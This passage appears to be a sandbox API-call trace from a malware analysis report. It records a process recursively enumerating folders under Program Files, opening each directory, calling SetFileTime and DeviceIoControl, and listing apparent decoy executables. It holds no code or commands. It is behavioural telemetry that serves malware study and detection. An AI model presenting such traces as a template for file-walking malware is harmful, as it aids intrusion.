[0080.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.028] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0080.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.028] NtClose (Handle=0x16c) returned 0x0 [0080.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b968) returned 1 [0080.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcf18 [0080.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123bb78 [0080.029] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0080.029] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.029] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="")) returned 1 [0080.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ba70 [0080.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcf18) returned 1 [0080.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3ef0 [0080.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123bd88 [0080.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0080.030] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="")) returned 0 [0080.031] GetLastError () returned 0x12 [0080.031] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0080.031] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0080.031] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.031] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="")) returned 1 [0080.031] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="")) returned 0 [0080.031] GetLastError () returned 0x12 [0080.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123bb78) returned 1 [0080.031] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0080.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123ba70) returned 1 [0080.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b968) returned 1 [0080.031] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0080.031] GetLastError () returned 0x12 [0080.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b020) returned 1 [0080.032] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0080.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0080.032] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="")) returned 1 [0080.032] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="")) returned 0 [0080.032] GetLastError () returned 0x12 [0080.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0080.032] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.033] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0080.033] GetLastError () returned 0x12 [0080.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0080.033] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.033] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0080.033] GetLastError () returned 0x12 [0080.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0080.033] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.034] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0080.034] GetLastError () returned 0x12 [0080.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.034] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.034] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="")) returned 1 [0080.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.035] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0080.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.035] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.035] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.035] NtClose (Handle=0x164) returned 0x0 [0080.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.036] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0080.036] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.036] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0080.036] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc52b8a0, ftCreationTime.dwHighDateTime=0x1d582c3, ftLastAccessTime.dwLowDateTime=0x45e141f0, ftLastAccessTime.dwHighDateTime=0x1d553a4, ftLastWriteTime.dwLowDateTime=0x45e141f0, ftLastWriteTime.dwHighDateTime=0x1d553a4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="discount-appearance.exe", cAlternateFileName="")) returned 1 [0080.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.037] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90df0e0, ftCreationTime.dwHighDateTime=0x1d5652f, ftLastAccessTime.dwLowDateTime=0x32248780, ftLastAccessTime.dwHighDateTime=0x1d59ebd, ftLastWriteTime.dwLowDateTime=0x32248780, ftLastWriteTime.dwHighDateTime=0x1d59ebd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1 [0080.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.038] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a29b090, ftCreationTime.dwHighDateTime=0x1d56215, ftLastAccessTime.dwLowDateTime=0x48f091f0, ftLastAccessTime.dwHighDateTime=0x1d58632, ftLastWriteTime.dwLowDateTime=0x48f091f0, ftLastWriteTime.dwHighDateTime=0x1d58632, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trail_experiences.exe", cAlternateFileName="")) returned 1 [0080.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.039] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a29b090, ftCreationTime.dwHighDateTime=0x1d56215, ftLastAccessTime.dwLowDateTime=0x48f091f0, ftLastAccessTime.dwHighDateTime=0x1d58632, ftLastWriteTime.dwLowDateTime=0x48f091f0, ftLastWriteTime.dwHighDateTime=0x1d58632, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trail_experiences.exe", cAlternateFileName="")) returned 0 [0080.039] GetLastError () returned 0x12 [0080.039] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0080.039] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.039] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.039] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0080.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.039] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.040] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.040] NtClose (Handle=0x164) returned 0x0 [0080.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0080.040] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.041] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.041] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0080.041] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0080.041] GetLastError () returned 0x12 [0080.041] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f80 [0080.041] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, 